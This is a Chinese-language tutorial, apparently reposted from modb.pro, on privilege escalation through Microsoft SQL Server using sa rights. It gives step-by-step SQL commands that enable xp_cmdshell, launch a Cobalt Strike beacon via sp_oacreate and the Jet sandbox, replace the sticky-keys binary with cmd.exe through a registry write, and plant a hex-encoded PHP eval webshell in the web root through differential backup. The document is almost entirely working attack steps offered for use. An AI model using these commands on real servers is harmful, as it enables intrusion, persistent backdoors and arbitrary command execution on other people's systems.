sqlserver数据库提权
xp_cmdshell组件提权
一、提权前提要求
1、sqlserver的sa权限
二、提权过程
步:执行以下语句开启xp_cmdshell
EXEC sp_configure'show advanced options', 1
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 1;
RECONFIGURE;
第二步:执行以下语句利用xp_cmdshell组件执行whoami命令
EXECmaster.dbo.xp_cmdshell 'whoami'
sp_oacreate组件提权
一、提权前提要求
1、sqlserver的sa权限
二、提权过程
步:执行以下语句开启sp_oacreate组件
EXEC sp_configure'show advanced options', 1;
RECONFIGURE WITHOVERRIDE;
EXEC sp_configure'Ole Automation Procedures', 1;
RECONFIGURE WITHOVERRIDE;
第二步:执行以下语句使目标服务器上线cs
declare @shell intexec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'cs上线代码'
SQL沙盒模式提权
一、提权前提要求
1、sqlserver的sa权限
2、目标操作系统为windows
二、提权过程
步:执行以下语句启动sql server沙盒
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
exec master.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';
第二步:执行以下语句使目标服务器上线cs
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','selectshell("cs上线语句")');
注册表映像提权
一、提权前提要求
1、sqlserver的sa权限
2、目标操作系统为windows
3、sqlserver当前系统权限能够修改注册表
4、目标服务器开启了3389端口
二、提权过程
步:执行以下语句将windows操作系统中的粘滞键映像替换成cmd.exe
EXEC master..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File ExecutionOptions\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
第二步:使用mstsc连接到目标服务器远程桌面
第三步:按下五次shift键,即可调出cmd.exe,执行任意命令
webshell提权
一、提权前提要求
1、目标服务器存在web应用,并知道web应用物理路径(可通过sqlserver语句查询目录及目录下的文件)
2、目标服务器web应用目录或web应用子目录具备可写权限
二、提权过程
步:可利用sqlserver差异备份写入webshell,执行以下语句先将某一数据库进行备份
backup database ReportServer to disk='C:\phpstudy_pro\WWW\bak.bak';
第二步:执行以下语句创建一个新表并将webshell内容写入新表中
create table wtest([cmd][image]);
Insert into wtest(cmd)values(0x3c3f706870206576616c28245f504f53545b2761616174657374275d293b3f3e);(values中为webshell内容的ascii码)
第三步:执行以下语句将此数据库进行差异备份
backup database ReportServer todisk='C:\phpstudy_pro\WWW\wtest.php' WITH DIFFERENTIAL,FORMAT;
第四步:通过webshell工具即可成功连接上目标网站webshell
本文来源https://www.modb.pro/db/158045
相关文章